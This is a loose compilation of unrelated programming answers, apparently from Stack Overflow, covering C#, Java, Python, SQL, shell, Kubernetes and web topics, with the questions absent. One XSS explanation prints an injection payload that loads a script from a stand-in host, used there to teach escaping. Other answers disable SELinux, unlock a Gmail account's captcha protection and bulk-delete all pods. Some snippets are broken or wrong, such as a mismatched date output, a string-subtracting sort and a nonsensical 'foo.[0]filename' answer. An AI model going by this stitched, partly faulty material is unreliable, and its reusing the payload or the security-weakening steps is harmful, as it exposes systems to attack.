There's a better solution if you don't really need the memory address but rather some means of uniquely identifying a managed object:
using System.Runtime.CompilerServices;
public static class Extensions
{
private static readonly ConditionalWeakTable<object, RefId> _ids = new ConditionalWeakTable<object, RefId>();
public static Guid GetRefId<T>(this T obj) where T: class
{
if (obj == null)
return default(Guid);
return _ids.GetOrCreateValue(obj).Id;
}
private class RefId
{
public Guid Id { get; } = Guid.NewGuid();
}
}
This is thread safe and uses weak references internally, so you won't have memory leaks.
You can use any key generation means that you like. I'm using Guid.NewGuid()
here because it's simple and thread safe.
I went ahead and created a Nuget package Overby.Extensions.Attachments that contains some extension methods for attaching objects to other objects. There's an extension called GetReferenceId()
that effectively does what the code in this answer shows.
If you still get this error when sending email: "Failed to authenticate on SMTP server with username "[email protected]" using 3 possible authenticators"
You may try one of these methods:
Go to https://accounts.google.com/UnlockCaptcha, click continue and unlock your account for access through other media/sites.
Using a double quote password: "your password" <-- this one also solved my problem.
You can get the number of elements in the list by calling list.size()
, however some of the elements may be duplicates or null
(if your list implementation allows null
).
If you want the number of unique items and your items implement equals
and hashCode
correctly you can put them all in a set and call size
on that, like this:
new HashSet<>(list).size()
If you want the number of items with a distinct itemId
you can do this:
list.stream().map(i -> i.itemId).distinct().count()
Assuming that the type of itemId
correctly implements equals
and hashCode
(which String
in the question does, unless you want to do something like ignore case, in which case you could do map(i -> i.itemId.toLowerCase())
).
You may need to handle null
elements by either filtering them before the call to map
: filter(Objects::nonNull)
or by providing a default itemId for them in the map
call: map(i -> i == null ? null : i.itemId)
.
The safest way IMO is to point at the file in your run/debug config
-Dlog4j.configuration=file:mylogging.properties
! Be aware: when using the eclipse launch configurations the specification of the file:
protocol is mandatory.
In this way the logger will not catch any logging.properties that come before in the classpath nor the default one in the JDK.
Also, consider actually use the log4j.xml which has a richer expression syntax and will allow more things (log4j.xml tahe precedence over log4j.properties.
it is easy try to use this command :
ls | grep \.txt$ && ls | grep \.exe
I would seriously consider making a CLR UDF instead and using regular expressions (both the string and the pattern can be passed in as parameters) to do a complete search and replace for a range of characters. It should easily outperform this SQL UDF.
It works from here with same OpenSSL version, but a newer version of wget (1.15). Looking at the Changelog there is the following significant change regarding your problem:
1.14: Add support for TLS Server Name Indication.
Note that this site does not require SNI. But www.coursera.org
requires it.
And if you would call wget with -v --debug
(as I've explicitly recommended in my comment!) you will see:
$ wget https://class.coursera.org
...
HTTP request sent, awaiting response...
HTTP/1.1 302 Found
...
Location: https://www.coursera.org/ [following]
...
Connecting to www.coursera.org (www.coursera.org)|54.230.46.78|:443... connected.
OpenSSL: error:14077410:SSL routines:SSL23_GET_SERVER_HELLO:sslv3 alert handshake failure
Unable to establish SSL connection.
So the error actually happens with www.coursera.org
and the reason is missing support for SNI. You need to upgrade your version of wget.
You will get this error when you call any of the setXxx()
methods on PreparedStatement
, while the SQL query string does not have any placeholders ?
for this.
For example this is wrong:
String sql = "INSERT INTO tablename (col1, col2, col3) VALUES (val1, val2, val3)";
// ...
preparedStatement = connection.prepareStatement(sql);
preparedStatement.setString(1, val1); // Fail.
preparedStatement.setString(2, val2);
preparedStatement.setString(3, val3);
You need to fix the SQL query string accordingly to specify the placeholders.
String sql = "INSERT INTO tablename (col1, col2, col3) VALUES (?, ?, ?)";
// ...
preparedStatement = connection.prepareStatement(sql);
preparedStatement.setString(1, val1);
preparedStatement.setString(2, val2);
preparedStatement.setString(3, val3);
Note the parameter index starts with 1
and that you do not need to quote those placeholders like so:
String sql = "INSERT INTO tablename (col1, col2, col3) VALUES ('?', '?', '?')";
Otherwise you will still get the same exception, because the SQL parser will then interpret them as the actual string values and thus can't find the placeholders anymore.
It is also possible to use Spring Data JDBC repository, which is a community project built on top of Spring Data Commons to access to databases with raw SQL, without using JPA.
It is less powerful than Spring Data JPA, but if you want lightweight solution for simple projects without using a an ORM like Hibernate, that a solution worth to try.
thanks to all
I use this version and say why (because I misses those explanations at the begining, so I try to help the next reader if he is as dull as me ...)
Remark : I wanted an efficient solution, so :
My version is :
(there is no new technical trick inside it, only some selected ones + explanations why)
makeSortString = (function() {
var translate_re = /[¹²³áàâãäåaaaÀÁÂÃÄÅAAAÆccç©CCÇÐÐèéê?ëeeeeeÈÊË?EEEEE€gGiìíîïìiiiÌÍÎÏ?ÌIIIlLnnñNNÑòóôõöoooøÒÓÔÕÖOOOØŒr®Ršs?ߊS?ùúûüuuuuÙÚÛÜUUUUýÿÝŸžzzŽZZ]/g;
var translate = {
"¹":"1","²":"2","³":"3","á":"a","à":"a","â":"a","ã":"a","ä":"a","å":"a","a":"a","a":"a","a":"a","À":"a","Á":"a","Â":"a","Ã":"a","Ä":"a","Å":"a","A":"a","A":"a",
"A":"a","Æ":"a","c":"c","c":"c","ç":"c","©":"c","C":"c","C":"c","Ç":"c","Ð":"d","Ð":"d","è":"e","é":"e","ê":"e","?":"e","ë":"e","e":"e","e":"e","e":"e","e":"e",
"e":"e","È":"e","Ê":"e","Ë":"e","?":"e","E":"e","E":"e","E":"e","E":"e","E":"e","€":"e","g":"g","G":"g","i":"i","ì":"i","í":"i","î":"i","ï":"i","ì":"i","i":"i",
"i":"i","i":"i","Ì":"i","Í":"i","Î":"i","Ï":"i","?":"i","Ì":"i","I":"i","I":"i","I":"i","l":"l","L":"l","n":"n","n":"n","ñ":"n","N":"n","N":"n","Ñ":"n","ò":"o",
"ó":"o","ô":"o","õ":"o","ö":"o","o":"o","o":"o","o":"o","ø":"o","Ò":"o","Ó":"o","Ô":"o","Õ":"o","Ö":"o","O":"o","O":"o","O":"o","Ø":"o","Œ":"o","r":"r","®":"r",
"R":"r","š":"s","s":"s","?":"s","ß":"s","Š":"s","S":"s","?":"s","ù":"u","ú":"u","û":"u","ü":"u","u":"u","u":"u","u":"u","u":"u","Ù":"u","Ú":"u","Û":"u","Ü":"u",
"U":"u","U":"u","U":"u","U":"u","ý":"y","ÿ":"y","Ý":"y","Ÿ":"y","ž":"z","z":"z","z":"z","Ž":"z","Z":"z","Z":"z"
};
return function(s) {
return(s.replace(translate_re, function(match){return translate[match];}) );
}
})();
and I use it this way :
var without_accents = makeSortString("wïthêüÄTrèsBïgüeAk100t");
// I let you guess the result,
// no I was kidding you : I give you the result : witheuatresbigueak100t
Comments :
See Encoding and decoding base 64 with C++.
Here is the implementation from that page:
/*
base64.cpp and base64.h
Copyright (C) 2004-2008 René Nyffenegger
This source code is provided 'as-is', without any express or implied
warranty. In no event will the author be held liable for any damages
arising from the use of this software.
Permission is granted to anyone to use this software for any purpose,
including commercial applications, and to alter it and redistribute it
freely, subject to the following restrictions:
1. The origin of this source code must not be misrepresented; you must not
claim that you wrote the original source code. If you use this source code
in a product, an acknowledgment in the product documentation would be
appreciated but is not required.
2. Altered source versions must be plainly marked as such, and must not be
misrepresented as being the original source code.
3. This notice may not be removed or altered from any source distribution.
René Nyffenegger [email protected]
*/
static const std::string base64_chars =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";
static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}
std::string base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len) {
std::string ret;
int i = 0;
int j = 0;
unsigned char char_array_3[3];
unsigned char char_array_4[4];
while (in_len--) {
char_array_3[i++] = *(bytes_to_encode++);
if (i == 3) {
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for(i = 0; (i <4) ; i++)
ret += base64_chars[char_array_4[i]];
i = 0;
}
}
if (i)
{
for(j = i; j < 3; j++)
char_array_3[j] = '\0';
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;
for (j = 0; (j < i + 1); j++)
ret += base64_chars[char_array_4[j]];
while((i++ < 3))
ret += '=';
}
return ret;
}
std::string base64_decode(std::string const& encoded_string) {
int in_len = encoded_string.size();
int i = 0;
int j = 0;
int in_ = 0;
unsigned char char_array_4[4], char_array_3[3];
std::string ret;
while (in_len-- && ( encoded_string[in_] != '=') && is_base64(encoded_string[in_])) {
char_array_4[i++] = encoded_string[in_]; in_++;
if (i ==4) {
for (i = 0; i <4; i++)
char_array_4[i] = base64_chars.find(char_array_4[i]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (i = 0; (i < 3); i++)
ret += char_array_3[i];
i = 0;
}
}
if (i) {
for (j = i; j <4; j++)
char_array_4[j] = 0;
for (j = 0; j <4; j++)
char_array_4[j] = base64_chars.find(char_array_4[j]);
char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4);
char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2);
char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3];
for (j = 0; (j < i - 1); j++) ret += char_array_3[j];
}
return ret;
}
SimpleDateFormat formatter = new SimpleDateFormat("dd/MM/yyyy");
String dateInString = "07/06/2013";
try {
Date date = formatter.parse(dateInString);
System.out.println(date);
System.out.println(formatter.format(date));
} catch (ParseException e) {
e.printStackTrace();
}
Output:
2014/08/06 16:06:54
2014/08/06 16:06:54
To answer the second part of your question, to convert to binary you can use a format string and the ord
function:
>>> byte = 'a'
>>> '{0:08b}'.format(ord(byte))
'01100001'
Note that the format pads with the right number of leading zeros, which seems to be your requirement. This method needs Python 2.6 or later.
Using pymongo, you need to have both databases on same mongod, I did the following:
db = original database
db2 = database to be copied to
cursor = db["<collection to copy from>"].find()
for data in cursor:
db2["<new collection>"].insert(data)
You can use Simpsons rule or the Trapezium rule to calculate the area under a graph given a table of y-values at a regular interval.
Python script that calculates Simpsons rule:
def integrate(y_vals, h):
i = 1
total = y_vals[0] + y_vals[-1]
for y in y_vals[1:-1]:
if i % 2 == 0:
total += 2 * y
else:
total += 4 * y
i += 1
return total * (h / 3.0)
h
is the offset (or gap) between y values, and y_vals
is an array of well, y values.
Example (In same file as above function):
y_values = [13, 45.3, 12, 1, 476, 0]
interval = 1.2
area = integrate(y_values, interval)
print("The area is", area)
There are two things to consider: users can modify forms, and you need to secure against Cross Site Scripting (XSS).
XSS
XSS is when a user enters HTML into their input. For example, what if a user submitted this value?:
" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value="
This would be written into your form like so:
<input type="hidden" name="prova[]" value="" /><script type="text/javascript" src="http://example.com/malice.js"></script><input value=""/>
The best way to protect against this is to use htmlspecialchars()
to secure your input. This encodes characters such as <
into <
. For example:
<input type="hidden" name="prova[]" value="<?php echo htmlspecialchars($array); ?>"/>
You can read more about XSS here: https://www.owasp.org/index.php/XSS
Form Modification
If I were on your site, I could use Chrome's developer tools or Firebug to modify the HTML of your page. Depending on what your form does, this could be used maliciously.
I could, for example, add extra values to your array, or values that don't belong in the array. If this were a file system manager, then I could add files that don't exist or files that contain sensitive information (e.g.: replace myfile.jpg
with ../index.php
or ../db-connect.php
).
In short, you always need to check your inputs later to make sure that they make sense, and only use safe inputs in forms. A File ID (a number) is safe, because you can check to see if the number exists, then extract the filename from a database (this assumes that your database contains validated input). A File Name isn't safe, for the reasons described above. You must either re-validate the filename or else I could change it to anything.
#pragma GCC diagnostic ignored "-Wformat"
Replace "-Wformat" with the name of your warning flag.
AFAIK there is no way to use push/pop semantics for this option.
Using the utility I describe here, you can have a more control over the string representation you get for your array.
String[] s = { "hello", "world" };
RichIterable<String> r = RichIterable.from(s);
r.mkString(); // gives "hello, world"
r.mkString(" | "); // gives "hello | world"
r.mkString("< ", ", ", " >"); // gives "< hello, world >"
The document has moved here it seems: https://help.apple.com/xcode/mac/8.0/#/dev564169bb1
Can't copy the icons here, but here are the descriptions:
Show: Present the content in the detail or master area depending on the content of the screen.
If the app is displaying a master and detail view, the content is pushed onto the detail area. If the app is only displaying the master or the detail, the content is pushed on top of the current view controller stack.
Show Detail: Present the content in the detail area.
If the app is displaying a master and detail view, the new content replaces the current detail. If the app is only displaying the master or the detail, the content replaces the top of the current view controller stack.
Present Modally: Present the content modally.
Present as Popover: Present the content as a popover anchored to an existing view.
Custom: Create your own behaviors by using a custom segue.
Specifically how do I tell spring-data-jpa that users that have the same username and firstname are actually EQUAL and that it is supposed to update the entity. Overriding equals did not work.
For this particular purpose one can introduce a composite key like this:
CREATE TABLE IF NOT EXISTS `test`.`user` (
`username` VARCHAR(45) NOT NULL,
`firstname` VARCHAR(45) NOT NULL,
`description` VARCHAR(45) NOT NULL,
PRIMARY KEY (`username`, `firstname`))
Mapping:
@Embeddable
public class UserKey implements Serializable {
protected String username;
protected String firstname;
public UserKey() {}
public UserKey(String username, String firstname) {
this.username = username;
this.firstname = firstname;
}
// equals, hashCode
}
Here is how to use it:
@Entity
public class UserEntity implements Serializable {
@EmbeddedId
private UserKey primaryKey;
private String description;
//...
}
JpaRepository would look like this:
public interface UserEntityRepository extends JpaRepository<UserEntity, UserKey>
Then, you could use the following idiom: accept DTO with user info, extract name and firstname and create UserKey, then create a UserEntity with this composite key and then invoke Spring Data save() which should sort everything out for you.
As per https://android.stackexchange.com/a/78183/239063 you can run a one line command in Linux to add in an appropriate tar header to extract it.
( printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" ; tail -c +25 backup.ab ) | tar xfvz -
Replace backup.ab with the path to your file.
AFAIK the simplest solution is:
df_shuffled = df.reindex(np.random.permutation(df.index))
I also had some issues with the negation of single files. I was able to commit them, but my IDE (IntelliJ) always complained about ignored files, which are tracked.
git ls-files -i --exclude-from .gitignore
Displayed the two files, which I've excluded this way:
public/
!public/typo3conf/LocalConfiguration.php
!public/typo3conf/PackageStates.php
In the end, this worked for me:
public/*
!public/typo3conf/
public/typo3conf/*
!public/typo3conf/LocalConfiguration.php
!public/typo3conf/PackageStates.php
The key was the negation of the folder typo3conf/
first.
Also, it seems that the order of the statements doesn't matter. Instead, you need to explicitly negate all subfolders, before you can negate single files in it.
The folder !public/typo3conf/
and the folder contents public/typo3conf/*
are two different things for .gitignore.
Great thread! This issue bothered me for a while ;)
This should work:
Process.Start(@"<directory goes here>")
Or if you'd like a method to run programs/open files and/or folders:
private void StartProcess(string path)
{
ProcessStartInfo StartInformation = new ProcessStartInfo();
StartInformation.FileName = path;
Process process = Process.Start(StartInformation);
process.EnableRaisingEvents = true;
}
And then call the method and in the parenthesis put either the directory of the file and/or folder there or the name of the application. Hope this helped!
I know this is a bit of an old question, but I've ended up making my own little class for it.
Might be useful to someone so I'll stick it up. I used a class variable, which is inherently persistent, to ensure sufficient whitespace was added to clear any old lines. See below:
class consolePrinter():
'''
Class to write to the console
Objective is to make it easy to write to console, with user able to
overwrite previous line (or not)
'''
# -------------------------------------------------------------------------
#Class variables
stringLen = 0
# -------------------------------------------------------------------------
# -------------------------------------------------------------------------
def writeline(stringIn, overwriteFlag=False):
import sys
#Get length of stringIn and update stringLen if needed
if len(stringIn) > consolePrinter.stringLen:
consolePrinter.stringLen = len(stringIn)+1
ctrlString = "{:<"+str(consolePrinter.stringLen)+"}"
if overwriteFlag:
sys.stdout.write("\r" + ctrlString.format(stringIn))
else:
sys.stdout.write("\n" + stringIn)
sys.stdout.flush()
return
Which then is called via:
consolePrinter.writeline("text here", True)
If you want to overwrite the previous line, or
consolePrinter.writeline("text here",False)
if you don't.
Note, for it to work right, all messages pushed to the console would need to be through consolePrinter.writeline.
homes.sort(function(a,b) { return a.city - b.city } );
homes.sort(function(a,b){
if (a.city==b.city){
return parseFloat(b.price) - parseFloat(a.price);
} else {
return 0;
}
});
I had the same issue when I changed the home directory of one use. In my case it was because of selinux
. I used the below to fix the issue:
selinuxenabled 0
setenforce 0
i wouldn't do it this way
I'd use name arrays in the form elements
so i'd get the layout
$_POST['field'][0]['name'] = 'value';
$_POST['field'][0]['price'] = 'value';
$_POST['field'][1]['name'] = 'value';
$_POST['field'][1]['price'] = 'value';
then you could do an array slice to get the amount you need
You can use finds null separated output option with read to iterate over directory structures safely.
#!/bin/bash
find . -type f -print0 | while IFS= read -r -d $'\0' file;
do echo "$file" ;
done
So for your case
#!/bin/bash
find . -maxdepth 1 -type f -print0 | while IFS= read -r -d $'\0' file; do
for ((i=0; i<=3; i++)); do
./MyProgram.exe "$file" 'Logs/'"`basename "$file"`""$i"'.txt'
done
done
additionally
#!/bin/bash
while IFS= read -r -d $'\0' file; do
for ((i=0; i<=3; i++)); do
./MyProgram.exe "$file" 'Logs/'"`basename "$file"`""$i"'.txt'
done
done < <(find . -maxdepth 1 -type f -print0)
will run the while loop in the current scope of the script ( process ) and allow the output of find to be used in setting variables if needed
Implement your class with Serializable. Let's suppose that this is your entity class:
import java.io.Serializable;
@SuppressWarnings("serial") //With this annotation we are going to hide compiler warnings
public class Deneme implements Serializable {
public Deneme(double id, String name) {
this.id = id;
this.name = name;
}
public double getId() {
return id;
}
public void setId(double id) {
this.id = id;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
private double id;
private String name;
}
We are sending the object called dene
from X activity to Y activity. Somewhere in X activity;
Deneme dene = new Deneme(4,"Mustafa");
Intent i = new Intent(this, Y.class);
i.putExtra("sampleObject", dene);
startActivity(i);
In Y activity we are getting the object.
Intent i = getIntent();
Deneme dene = (Deneme)i.getSerializableExtra("sampleObject");
That's it.
There are no standard exit codes, aside from 0 meaning success. Non-zero doesn't necessarily mean failure either.
stdlib.h does define EXIT_FAILURE
as 1 and EXIT_SUCCESS
as 0, but that's about it.
The 11 on segfault is interesting, as 11 is the signal number that the kernel uses to kill the process in the event of a segfault. There is likely some mechanism, either in the kernel or in the shell, that translates that into the exit code.
I ran into this scenario recently (well over 7 million rows) and eneded up using sqlcmd via powershell (after parsing raw data into SQL insert statements) in segments of 5,000 at a time (SQL can't handle 7 million lines in one lump job or even 500,000 lines for that matter unless its broken down into smaller 5K pieces. You can then run each 5K script one after the other.) as I needed to leverage the new sequence command in SQL Server 2012 Enterprise. I couldn't find a programatic way to insert seven million rows of data quickly and efficiently with said sequence command.
Secondly, one of the things to look out for when inserting a million rows or more of data in one sitting is the CPU and memory consumption (mostly memory) during the insert process. SQL will eat up memory/CPU with a job of this magnitude without releasing said processes. Needless to say if you don't have enough processing power or memory on your server you can crash it pretty easily in a short time (which I found out the hard way). If you get to the point to where your memory consumption is over 70-75% just reboot the server and the processes will be released back to normal.
I had to run a bunch of trial and error tests to see what the limits for my server was (given the limited CPU/Memory resources to work with) before I could actually have a final execution plan. I would suggest you do the same in a test environment before rolling this out into production.
Actually all answers are wrong
Easy: foo.[0]filename
Just found your question whilst trying to solve another problem I'm having, you will find that currently Google isn't able to perform a temporary download so therefore you have to download instead.
See: http://productforums.google.com/forum/#!topic/chrome/Drge_Zrwg-c
Try this
RewriteCond %{HTTP_HOST} !^www. [NC]
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]
ps -ef | grep java
pid
of running jdkkill -9 [pid]
The error says it all actually. Your configuration tells Nginx to listen on port 80 (HTTP) and use SSL. When you point your browser to http://localhost
, it tries to connect via HTTP. Since Nginx expects SSL, it complains with the error.
The workaround is very simple. You need two server
sections:
server {
listen 80;
// other directives...
}
server {
listen 443;
ssl on;
// SSL directives...
// other directives...
}
I don't see this answer here, so I figure I'll add it since I'm leaning Python right now and just discovered it. The Python tutorial (Python 2 in this case) gives the following simple and effective example:
class Employee:
pass
john = Employee() # Create an empty employee record
# Fill the fields of the record
john.name = 'John Doe'
john.dept = 'computer lab'
john.salary = 1000
That is, an empty class object is created, then instantiated, and the fields are added dynamically.
The up-side to this is its really simple. The downside is it isn't particularly self-documenting (the intended members aren't listed anywhere in the class "definition"), and unset fields can cause problems when accessed. Those two problems can be solved by:
class Employee:
def __init__ (self):
self.name = None # or whatever
self.dept = None
self.salary = None
Now at a glance you can at least see what fields the program will be expecting.
Both are prone to typos, john.slarly = 1000
will succeed. Still, it works.
You just need sed
to do this:
kubectl get pods --no-headers=true --all-namespaces |sed -r 's/(\S+)\s+(\S+).*/kubectl --namespace \1 delete pod \2/e'
Explains:
kubectl get pods --all-namespaces
to get the list of all pods in all namespaces.--no-headers=true
option to hide the headers.s
command of sed
to fetch the first two words, which represent namespace
and pod's name
respectively, then assemble the delete
command using them. delete
command is just like:
kubectl --namespace kube-system delete pod heapster-eq3yw
.e
modifier of s
command to execute the command assembled above, which will do the actual delete
works.To avoid delete pods in kube-system
namespace, just need to add grep -v kube-system
to exclude kube-system
namespace before the sed
command.
No one seems to have picked that if (yes=no)>na or (no=na)>yes or (na=yes)>no, you get NULL as the result. Don't believe this is what you are after.
Here's also a more condensed form of the function, which works even if any of yes, no or na_ans is NULL.
USE [***]
GO
/****** Object: UserDefinedFunction [dbo].[fnActionSq] Script Date: 02/17/2011 10:21:47 ******/
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
ALTER FUNCTION [dbo].[fnTally] (@SchoolId nvarchar(50))
RETURNS nvarchar(3)
AS
BEGIN
return (select (
select top 1 Result from
(select 'Yes' Result, yes_ans union all
select 'No', no_ans union all
select 'N/A', na_ans) [ ]
order by yes_ans desc, Result desc)
from dbo.qrc_maintally
where school_id = @SchoolId)
End
In general terms (and in normal English usage) the terms mean the same thing.
In the specific context of HTML / Javascript the terms get confused because the HTML representation of a DOM element has attributes (that being the term used in XML for the key/value pairs contained within a tag) but when represented as a JavaScript object those attributes appear as object properties.
To further confuse things, changes to the properties will typically update the attributes.
For example, changing the element.href
property will update the href
attribute on the element, and that'll be reflected in a call to element.getAttribute('href')
.
However if you subsequently read that property, it will have been normalised to an absolute URL, even though the attribute might be a relative URL!
I want to give my resolution, it work when i replace the line [session = tf.Session()]
with [sess = tf.InteractiveSession()]
. Hope this will be useful to others.
It might help who is looking for the same solution.
select * from tablename ORDER BY ABS(column_name)
sys.dm_tran_locks contains the locking information of the sessions
If you want to know a specific table is locked or not, you can use the following query
SELECT
*
from
sys.dm_tran_locks
where
resource_associated_entity_id = object_id('schemaname.tablename')
if you are interested in finding both login name of the user and the query being run
SELECT
DB_NAME(resource_database_id)
, s.original_login_name
, s.status
, s.program_name
, s.host_name
, (select text from sys.dm_exec_sql_text(exrequests.sql_handle))
,*
from
sys.dm_tran_locks dbl
JOIN sys.dm_exec_sessions s ON dbl.request_session_id = s.session_id
INNER JOIN sys.dm_exec_requests exrequests on dbl.request_session_id = exrequests.session_id
where
DB_NAME(dbl.resource_database_id) = 'dbname'
For more infomraton locking query
More infor about sys.dm_tran_locks
Another version, if you have a scenario where you have list of vectors and a query vector and you want to compute the cosine similarity of query vector with all the vectors in the list, you can do it in one go in the below fashion:
>>> import numpy as np
>>> A # list of vectors, shape -> m x n
array([[ 3, 45, 7, 2],
[ 1, 23, 3, 4]])
>>> B # query vector, shape -> 1 x n
array([ 2, 54, 13, 15])
>>> similarity_scores = A.dot(B)/ (np.linalg.norm(A, axis=1) * np.linalg.norm(B))
>>> similarity_scores
array([0.97228425, 0.99026919])
Use capitals letter for hours HH = 24 hour format an hh = 12 hour format
$('#fecha').datetimepicker({_x000D_
format : 'DD/MM/YYYY HH:mm'_x000D_
});
_x000D_
The accepted answer for this question is wrong, but I have low rep so can't add a comment to it.
The correct answer to this question is given by Mat:
shopt -s nullglob
logfiles=(*.log)
echo ${#logfiles[@]}
The problem with the accepted answer is that wc -l counts the number of newline characters, and counts them even if they print to the terminal as '?' in the output of 'ls -l'. This means that the accepted answer FAILS when a filename contains a newline character. I have tested the suggested command:
ls -l log* | wc -l
and it erroneously reports a value of 2 even if there is only 1 file matching the pattern whose name happens to contain a newline character. For example:
touch log$'\n'def
ls log* -l | wc -l
You can use Task Scheduler Managed Wrapper:
using System;
using Microsoft.Win32.TaskScheduler;
class Program
{
static void Main(string[] args)
{
// Get the service on the local machine
using (TaskService ts = new TaskService())
{
// Create a new task definition and assign properties
TaskDefinition td = ts.NewTask();
td.RegistrationInfo.Description = "Does something";
// Create a trigger that will fire the task at this time every other day
td.Triggers.Add(new DailyTrigger { DaysInterval = 2 });
// Create an action that will launch Notepad whenever the trigger fires
td.Actions.Add(new ExecAction("notepad.exe", "c:\\test.log", null));
// Register the task in the root folder
ts.RootFolder.RegisterTaskDefinition(@"Test", td);
// Remove the task we just created
ts.RootFolder.DeleteTask("Test");
}
}
}
Alternatively you can use native API or go for Quartz.NET. See this for details.
The first answer covers it.
Im guessing that somewhere down the line you may decide to store your info in a different class/structure. In that case you probably wouldn't want the results going in to an array from the split() method.
You didn't ask for it, but I'm bored, so here is an example, hope it's helpful.
This might be the class you write to represent a single person:
class Person {
public String firstName;
public String lastName;
public int id;
public int age;
public Person(String firstName, String lastName, int id, int age) {
this.firstName = firstName;
this.lastName = lastName;
this.id = id;
this.age = age;
}
// Add 'get' and 'set' method if you want to make the attributes private rather than public.
}
Then, the version of the parsing code you originally posted would look something like this: (This stores them in a LinkedList, you could use something else like a Hashtable, etc..)
try
{
String ruta="entrada.al";
BufferedReader reader = new BufferedReader(new FileReader(ruta));
LinkedList<Person> list = new LinkedList<Person>();
String line = null;
while ((line=reader.readLine())!=null)
{
if (!(line.equals("%")))
{
StringTokenizer st = new StringTokenizer(line, "*");
if (st.countTokens() == 4)
list.add(new Person(st.nextToken(), st.nextToken(), Integer.parseInt(st.nextToken()), Integer.parseInt(st.nextToken)));
else
// whatever you want to do to account for an invalid entry
// in your file. (not 4 '*' delimiters on a line). Or you
// could write the 'if' clause differently to account for it
}
}
reader.close();
}
This is because of ng-include
which creates a new child scope, so $scope.lineText
isn’t changed. I think that this
refers to the current scope, so this.lineText
should be set.
If you are just experimenting you can use babel-node
command line tool to try out the new JavaScript features
Install babel-cli
into your project
$ npm install --save-dev babel-cli
Install the presets
$ npm install --save-dev babel-preset-es2015 babel-preset-es2017
Setup your babel presets
Create .babelrc
in the project root folder with the following contents:
{ "presets": ["es2015","es2017"] }
Run your script with babel-node
$ babel-node helloz.js
This is only for development and testing but that seems to be what you are doing. In the end you'll want to set up webpack (or something similar) to transpile all your code for production
If you want to run the code somewhere else, webpack can help and here is the simplest configuration I could work out:
I found that celery purge
doesn't work for my more complex celery config. I use multiple named queues for different purposes:
$ sudo rabbitmqctl list_queues -p celery name messages consumers
Listing queues ... # Output sorted, whitespaced for readability
celery 0 2
[email protected] 0 1
[email protected] 0 1
apns 0 1
[email protected] 0 1
analytics 1 1
[email protected] 0 1
bcast.361093f1-de68-46c5-adff-d49ea8f164c0 0 1
bcast.a53632b0-c8b8-46d9-bd59-364afe9998c1 0 1
celeryev.c27b070d-b07e-4e37-9dca-dbb45d03fd54 0 1
celeryev.c66a9bed-84bd-40b0-8fe7-4e4d0c002866 0 1
celeryev.b490f71a-be1a-4cd8-ae17-06a713cc2a99 0 1
celeryev.9d023165-ab4a-42cb-86f8-90294b80bd1e 0 1
The first column is the queue name, the second is the number of messages waiting in the queue, and the third is the number of listeners for that queue. The queues are:
The analytics task is a brute force tasks that worked great on small data sets, but now takes more than 24 hours to process. Occasionally, something will go wrong and it will get stuck waiting on the database. It needs to be re-written, but until then, when it gets stuck I kill the task, empty the queue, and try again. I detect "stuckness" by looking at the message count for the analytics queue, which should be 0 (finished analytics) or 1 (waiting for last night's analytics to finish). 2 or higher is bad, and I get an email.
celery purge
offers to erase tasks from one of the broadcast queues, and I don't see an option to pick a different named queue.
Here's my process:
$ sudo /etc/init.d/celeryd stop # Wait for analytics task to be last one, Ctrl-C
$ ps -ef | grep analytics # Get the PID of the worker, not the root PID reported by celery
$ sudo kill <PID>
$ sudo /etc/init.d/celeryd stop # Confim dead
$ python manage.py celery amqp queue.purge analytics
$ sudo rabbitmqctl list_queues -p celery name messages consumers # Confirm messages is 0
$ sudo /etc/init.d/celeryd start
Tensorflow 2.2.0 supports Python3.8
First, make sure to install Python 3.8 64bit. For some reason, the official site defaults to 32bit. Verify this using python -VV
(two capital V
, not W
). Then continue as usual:
python -m pip install --upgrade pip
python -m pip install wheel # not necessary
python -m pip install tensorflow
As usual, make sure you have CUDA 10.1 and CuDNN installed.
There are two attributes, namely readonly
and disabled
, that can make a semi-read-only input. But there is a tiny difference between them.
<input type="text" readonly />
<input type="text" disabled />
readonly
attribute makes your input text disabled, and users are not able to change it anymore.disabled
attribute make your input-text disabled(unchangeable) but also cannot it be submitted.jQuery approach (1):
$("#inputID").prop("readonly", true);
$("#inputID").prop("disabled", true);
jQuery approach (2):
$("#inputID").attr("readonly","readonly");
$("#inputID").attr("disabled", "disabled");
JavaScript approach:
document.getElementById("inputID").readOnly = true;
document.getElementById("inputID").disabled = true;
PS disabled
and readonly
are standard html attributes. prop
introduced with jQuery 1.6
.
I agree with Thomas and I would choose the DECIMAL(5,4) solution at least for WPF applications.
Have a look to the MSDN Numeric Format String to know why : http://msdn.microsoft.com/en-us/library/dwhawy9k#PFormatString
The percent ("P") format specifier multiplies a number by 100 and converts it to a string that represents a percentage.
Then you would be able to use this in your XAML code:
DataFormatString="{}{0:P}"
In computer programming, a callback is executable code that is passed as an argument to other code.
C# has delegates for that purpose. They are heavily used with events, as an event can automatically invoke a number of attached delegates (event handlers).
Are you sure the stylesheet is loaded? You can see it using the "Net" tab of Firebug on firefox, or on "Network" tab of the Console of your browser.
